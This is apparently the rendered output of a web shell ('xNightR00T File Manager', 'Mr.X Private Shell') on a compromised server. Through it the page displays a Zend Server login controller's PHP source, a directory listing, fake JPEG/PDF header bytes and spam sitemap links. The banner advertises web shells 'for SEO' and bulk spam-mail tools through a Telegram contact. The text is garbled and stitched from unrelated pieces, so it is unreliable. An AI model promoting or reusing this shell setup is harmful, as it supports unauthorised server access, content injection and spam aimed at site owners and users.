xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application\Controller;

use Application\SessionStorage;
use Zend\View\Model\ViewModel;
use Zend\Uri\Uri;
use ZendServer\Exception;
use ZendServer\Validator\UriPath;
use Users\Identity;
use Audit\Db\ProgressMapper;
use Audit\Db\Mapper;
use ZendServer\Configuration\Manager;
use ZendServer\FS\FS;
use ZendServer\Mvc\Controller\ActionController;
use Application\Module;
use ZendServer\Log\Log;
use Application\Forms\Login;
use Zend\Session\SessionManager;

class LoginController extends ActionController
{
    protected $version;
    protected $build;
    protected $licenseType;
    protected $licenseExpiryDate;
    protected $authenticationSource;
    protected $licenseEvaluation;
    protected $licenseIsOk;
    protected $daysToExpired;
    protected $licenseNeverExpires;

    /**
     * @var \Application\Forms\Login
     */
    protected $loginForm;

    public function redirectAction()
    {

        return $this->redirect()->toRoute('home');
    }

    public function getLoginDataAction()
    {
        
        //echo '<pre>$currentCsrf = '.print_r($currentCsrf,true).'</pre>';exit;
        \Application\Module::generateCSRF();
        $csrfContainer = new \Zend\Session\Container('zs_csrf');

        $response = array(
            'authenticationSource' => Module::config('authentication', 'simple') ? 'simple' : 'extended',
            'version' => Module::config('package', 'version'), //get the current version of server
            'build' => Module::config('package', 'build'), //get the current build of server
            'profile' => Module::config('package', 'zend_gui', 'serverProfile') ?: '',
            'environmentName' => Module::config('server', 'zend_gui', 'environmentName') ?: '',
            'environmentColor' => Module::config('server', 'zend_gui', 'environmentColor') ?: '',
            'bootstrapCompleted' => Module::config('bootstrap', 'completed') ? true : false,
            'osType' => \ZendServer\FS\FS::getOSAsString(),
            'csrf' => $csrfContainer->offsetGet('access_token')
        );

        if (!$response['bootstrapCompleted']) {
            $mapper                       = new \Servers\Configuration\Mapper();
            $response['isClusterSupport'] = $mapper->isClusterSupport() && (!$this->getZemUtilsWrapper()->getLicenseInfo()->isLicenseExpired());

            try {
                $eulaFile = FS::getFileObject(FS::createPath(getCfgVar('zend.install_dir'), 'doc', 'EULA.txt'))->readAll();
                /// Replace strings that end with a single newline with the same string that end with a space.
                /// In other words, replace the trailing *single* newline with a space character.
                /// Do NOT replace the newline if it is immediately followed by another newline.
                $eulaFile = preg_replace("#([^\\n]+)\\n(?!\\n)#m", "$1 ", $eulaFile);
            } catch (\Exception $e) {
                $eulaFile = '';
                Log::notice("Could not retrieve Eula content for display: {$e->getMessage()}");
            }
            $response['eula'] = $eulaFile;

            $response['hostname'] = gethostname();

            $response['isCloud'] = $this->getZemUtilsWrapper()->getLicenseInfo()->isCloudLicense();
        }

        if (Module::config('authentication', 'simple')) {
            $response['users'] = array('admin', 'developer');
        }

        $license                  = array();
        list($license['edition'], $license['expiryDate'], $license['isEvaluation']) = $this->getLicenseDetails();
        $license['isOk']          = $this->licenseIsOk;
        $license['neverExpires']  = $this->licenseNeverExpires;
        $license['daysToExpired'] = $this->daysToExpired;

        $response['license'] = $license;

        return $this->getResponse()->setContent(json_encode($response));
    }

    public function doLoginAction()
    {
        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        if (!$request->isPost()) {
            return $this->getResponse()->setContent(json_encode(array('error' => 'GET Request is not allowed')));
        }

        $response = array('success' => false);

        if ($this->Authentication()->hasIdentity() && $this->Authentication()->getIdentity()->isLoggedIn()) { // User has already authenticated
            $response = array('success' => true);
            return $this->getResponse()->setContent(json_encode($response));
        }

        if (isAzureEnv()) {
            $authService  = $this->getLocator()->get('Zend\Authentication\AuthenticationService'); /* @var $authService AuthenticationService */
            $tokenAdapter = $this->getLocator()->get('AuthAdapterAzure'); /* @var $tokenAdapter TokenAdapter */
            $result       = $authService->authenticate($tokenAdapter);

            if ($result->isValid()) {
                $result->getIdentity()->setLoggedIn();
            } else {
                echo ('Authentication failed');
                exit;
            }

            $response = array('success' => true);
            return $this->getResponse()->setContent(json_encode($response));
        }

        if (isZrayStandaloneEnv()) {
            /* @var $authService AuthenticationService */
            $authService = $this->getLocator()->get('Zend\Authentication\AuthenticationService');

            /* @var \ZendServer\Authentication\Adapter\ZrayStandalone */
            $authAdapter = new \ZendServer\Authentication\Adapter\ZrayStandalone();

            // @TODO check why this isn't working. That might cause future problems
            //$authAdapter = $this->getLocator()->get('AuthAdapterZrayStandalone');

            $result = $authService->authenticate($authAdapter);
            if ($result->isValid()) {
                $result->getIdentity()->setLoggedIn();
            } else {
                echo ('Authentication failed');
                exit;
            }

            $response = array('success' => true);
            return $this->getResponse()->setContent(json_encode($response));
        }


        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */

        $this->loginForm = $this->getLocator('Application\Forms\Login');
        $parameters      = $request->getPost()->toArray();

        $this->loginForm->setData($parameters);

        $this->auditMessage()->setIdentity(new Identity($parameters['username']));

        if (!$this->loginForm->isValid()) {
            $nonValidElements = '';
            foreach ($this->loginForm->getMessages() as $field => $errors) {
                if (!$errors) {
                    continue;
                }
                $nonValidElements .= $field.',';
            }

            $errorMessage      = 'Invalid input in field(s): '.rtrim($nonValidElements, ',');
            $this->auditMessage(
                Mapper::AUDIT_GUI_AUTHENTICATION,
                ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array($errorMessage))
            );
            $response['error'] = $errorMessage;
            $this->getResponse()->setStatusCode(401);
            return $this->getResponse()->setContent(json_encode($response));
        }

        if ($parameters['username'] != Module::config('user', 'zend_gui', 'adminUser') && (!$this->isAclAllowedEdition('data:useMultipleUsers'))) {
            $errorMessage      = _t('Only the \'admin\' user is allowed to use this edition of Zend Server');
            $this->auditMessage(
                Mapper::AUDIT_GUI_AUTHENTICATION,
                ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array($errorMessage))
            );
            $response['error'] = $errorMessage;
            $this->getResponse()->setStatusCode(401);
            return $this->getResponse()->setContent(json_encode($response));
        }

        if (!$this->Authentication()->authenticate($parameters['username'], $parameters['password'])) {
            $errorMessage      = _t('Username or password incorrect');
            $this->auditMessage(
                Mapper::AUDIT_GUI_AUTHENTICATION,
                ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array($errorMessage))
            );
            $response['error'] = $errorMessage;
            $this->getResponse()->setStatusCode(401);
            return $this->getResponse()->setContent(json_encode($response));
        }

        $this->postAuthentication($parameters['username']);

        $response = array('success' => true);
        return $this->getResponse()->setContent(json_encode($response));
    }
     
    public function indexAction()
    {
        $csrfContainer = new \Zend\Session\Container('zs_csrf');
        $currentCsrf =  $csrfContainer->offsetGet('access_token');
		
		// check CSRF only for the standard ZS.
		if (!isZrayStandaloneEnv() && !isAzureEnv()) {
			if (empty($currentCsrf) && !strstr($_SERVER['HTTP_USER_AGENT'], Module::STUDIO_USER_AGENT)){
				SessionStorage::resetSession();
			}
		}

        $params = $this->getParameters(array('redirectTo' => '/ZendServer/'));

        /* Handle when there is double redirections, occured by checkTTL function which should disconnect unused session */
        $redirectTo = $params['redirectTo'];
        $redirectTo = explode('redirectTo=', $redirectTo);
        $redirectTo = urldecode($redirectTo[count($redirectTo) - 1]);

        $redirectTo = $this->validateRedirectTo($redirectTo);

        if (preg_match('/ZendServer/', $redirectTo) !== 1) {
            $redirectTo = '/ZendServer/';
        }

        if ($this->Authentication()->hasIdentity() && $this->Authentication()->getIdentity()->isLoggedIn()) { // User has already authenticated
            $this->Redirect()->toUrl($redirectTo);
        }
        if (isAzureEnv()) {
            $authService  = $this->getLocator()->get('Zend\Authentication\AuthenticationService'); /* @var $authService AuthenticationService */
            $tokenAdapter = $this->getLocator()->get('AuthAdapterAzure'); /* @var $tokenAdapter TokenAdapter */
            $result       = $authService->authenticate($tokenAdapter);

            if ($result->isValid()) {
                $result->getIdentity()->setLoggedIn();
                $this->redirect()->toRoute('home');
            } else {
                echo ('Authentication failed');
                exit;
            }
            return $this->getResponse();
        }

        if (isZrayStandaloneEnv()) {
            /* @var $authService AuthenticationService */
            $authService = $this->getLocator()->get('Zend\Authentication\AuthenticationService');

            /* @var \ZendServer\Authentication\Adapter\ZrayStandalone */
            $authAdapter = new \ZendServer\Authentication\Adapter\ZrayStandalone();

            // @TODO check why this isn't working. That might cause future problems
            //$authAdapter = $this->getLocator()->get('AuthAdapterZrayStandalone');

            $result = $authService->authenticate($authAdapter);
            if ($result->isValid()) {
                $result->getIdentity()->setLoggedIn();
                $this->redirect()->toRoute('home');
            } else {
                echo ('Authentication failed');
                exit;
            }
            return $this->getResponse();
        }

        $this->authenticationSource = Module::config('authentication', 'simple') ? 'simple' : 'extended';

        $this->version = Module::config('package', 'version'); //get the current version of server
        $this->build   = Module::config('package', 'build'); //get the current build of server
        list($this->licenseType, $this->licenseExpiryDate, $this->licenseEvaluation) = $this->getLicenseDetails(); // get the license details

        $this->Layout('layout/login');
        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        if (!$request->isPost()) {
            /// this page must explicitly not be loaded as an ajax call
            return $this->getPageComponents(null, $redirectTo) + array(
                'isAjaxRequest' => $this->getRequest()->isXmlHttpRequest(),
            );
        }

        $this->loginForm = $this->getLocator('Application\Forms\Login');
        $parameters      = $request->getPost()->toArray();
        $this->loginForm->setData($parameters);

        $this->auditMessage()->setIdentity(new Identity($parameters['username']));

        if (!$this->loginForm->isValid()) {
            $nonValidElements = '';
            foreach ($this->loginForm->getMessages() as $field => $errors) {
                if (!$errors) {
                    continue;
                }
                $nonValidElements .= $field.',';
            }

            $errorMessage = 'Invalid input in field(s): '.rtrim($nonValidElements, ',');
            $this->auditMessage(
                Mapper::AUDIT_GUI_AUTHENTICATION,
                ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array($errorMessage))
            );
            return $this->getPageComponents($errorMessage);
        }

        if ($parameters['username'] != Module::config('user', 'zend_gui', 'adminUser') && (!$this->isAclAllowedEdition('data:useMultipleUsers'))) {
            $errorMessage = _t('Only the \'admin\' user is allowed to use this edition of Zend Server');
            $this->auditMessage(
                Mapper::AUDIT_GUI_AUTHENTICATION,
                ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array($errorMessage))
            );
            return $this->getPageComponents($errorMessage);
        }

        if (!$this->Authentication()->authenticate($parameters['username'], $parameters['password'])) {
            $errorMessage = _t('Username or password incorrect');
            $this->auditMessage(
                Mapper::AUDIT_GUI_AUTHENTICATION,
                ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array($errorMessage))
            );
            return $this->getPageComponents($errorMessage);
        }
        $this->postAuthentication($parameters['username'], $redirectTo);

        return $this->getResponse();
    }

    private function postAuthentication($username, $redirectTo = false)
    {
        $manager = $this->getLocator()->get(SessionManager::class);
        if (session_status() !== PHP_SESSION_ACTIVE) {
            $manager->regenerateId();
        }

        \Application\Module::generateCSRF();

        $this->auditMessage(
            Mapper::AUDIT_GUI_AUTHENTICATION,
            ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
            array(array('User' => $username))
        );
        Log::info("authentication completed successfully");

        $azure          = isAzureEnv();
        $standaloneZray = isZrayStandaloneEnv();
        if (!$azure && !$standaloneZray) {
            $this->setLibrariesUpdateCookie();
            $this->setPluginsUpdateCookie();
        }

        // enable studio access redirect
        if ($redirectTo) {
            $decoded = urldecode($redirectTo);
            if ($decoded == '/') {
                $decoded = '/ZendServer';
            }
            Log::debug("Redirect to".$decoded);
            $this->Redirect()->toUrl($decoded);
        }
    }

    public function logoutAction()
    {
        $this->Authentication()->getAuthService()->clearIdentity();
        $routeMatch        = $this->getEvent()->getRouteMatch();
        $collectCurrentUrl = $routeMatch->getParam('collectCurrentUrl', false);

        $params     = $this->getParameters(array('redirectTo'));
        $redirectTo = $params['redirectTo'] ? urlencode($params['redirectTo']) : false;
        /// clean up session
        $manager = $this->getLocator()->get('Zend\Session\SessionManager'); /* @var $manager \Zend\Session\SessionManager */

        if (session_status() === PHP_SESSION_ACTIVE) {
            $manager->destroy();
        }

        $viewModel   = new ViewModel(array('loginUrl' => Module::config('loginUrl')));
        $viewModel->setVariable(
            'collectCurrentUrl',
            $collectCurrentUrl && ($routeMatch->getMatchedRouteName() != 'home')
        );
        $viewModel->setVariable('redirectTo', $redirectTo);
        $routeParams = $routeMatch->getParams();
        $viewModel->setVariable('extendedModeUnmapped', isset($routeParams['extendedModeUnmapped']));
        $viewModel->setTerminal(true);
        return $viewModel;
    }

    /**
     * @param string $redirectTo
     * @return string
     */
    private function validateRedirectTo($redirectTo)
    {
        $uri = new Uri($redirectTo);

        $validator = new UriPath();
        if (!$validator->isValid($uri->getPath())) {
            Log::notice('URL to redirect to was malformed, redirect to home');
            return '';
        }
        $redirectTo = $uri->getPath();
        $redirectTo = is_null($redirectTo) ? '/' : $redirectTo;
        if ($uri->getQuery()) {
            $redirectTo .= "?{$uri->getQuery()}";
        }

        if ($uri->getFragment()) {
            $redirectTo .= "#{$uri->getFragment()}";
        }

        return $redirectTo;
    }

    private function getSimpleUsernames()
    {
        $usersMapper = $this->getLocator('Users\Db\Mapper'); /* @var $usersMapper \Users\Db\Mapper */
        $users       = $usersMapper->getUsers()->toArray();
        $usernames   = array();
        foreach ($users as $user) {
            $usernames[$user['NAME']] = $user['NAME'];
        }

        $acl = $this->getLocator('ZendServerAcl'); /* @var $acl \ZendServer\Permissions\AclQuery */
        if (!$acl->isAllowedEdition('data:useMultipleUsers')) {
            $usernames = array('admin' => 'admin');
        }

        return $usernames;
    }

    private function getPageComponents($error = '', $redirectTo = '')
    {
        if (!$this->loginForm) {
            $authConfig = Module::config('authentication');
            $simpleAuth = $authConfig->simple ? true : false;

            $usernames = array();
            if ($simpleAuth) {
                $usernames = $this->getSimpleUsernames();
            }

            $this->loginForm = new Login(array('simpleAuth' => $simpleAuth, 'users' => $usernames));
        }

        if ($redirectTo) {
            $uri        = new Uri($redirectTo);
            $redirectTo = $uri->getPath();
            if ($uri->getQuery()) {
                $redirectTo .= '?'.Uri::encodeQueryFragment($uri->getQuery());
            }
            if ($uri->getFragment()) {
                $redirectTo .= '#'.Uri::encodeQueryFragment($uri->getFragment());
            }
            $this->loginForm->setData(array('redirectTo' => urlencode($redirectTo)));
        }

        $config  = $this->getLocator()->get('Configuration');
        $manager = new Manager();

        $pageComponents = array(
            'form' => $this->loginForm,
            'version' => $this->version,
            'build' => $this->build,
            'profile' => @$config['package']['zend_gui']['serverProfile'] ?: '',
            'licenseType' => $this->licenseType,
            'licenseExpiryDate' => $this->licenseExpiryDate,
            'licenseEvaluation' => $this->licenseEvaluation,
            'authenticationSource' => $this->authenticationSource,
            'licenseIsOk' => $this->licenseIsOk,
            'licenseNeverExpires' => $this->licenseNeverExpires,
            'daysToExpired' => $this->daysToExpired,
            'osType' => $manager->getOsType(),
        );

        if ($error) {
            $pageComponents += array('error' => _t($error));
        }

        return $pageComponents;
    }

    private function getLicenseDetails()
    {

        $utilsWrapper              = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper');
        $this->licenseNeverExpires = $utilsWrapper->getLicenseInfo()->isNeverExpires();
        $this->licenseIsOk         = $utilsWrapper->getLicenseInfo()->isLicenseOk();
        $this->daysToExpired       = $utilsWrapper->getLicenseExpirationDaysNum();
        return array($utilsWrapper->getLicenseType(), $utilsWrapper->getLicenseFormattedExpiryDate(), $utilsWrapper->getLicenseEvaluation());
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
ImportExportController.php File 1.95 KB 0644
IndexController.php File 6.37 KB 0644
LoginController.php File 19.81 KB 0644
ModuleResourceController.php File 4.2 KB 0644
SettingsController.php File 28.99 KB 0644
UnderconstructionController.php File 745 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml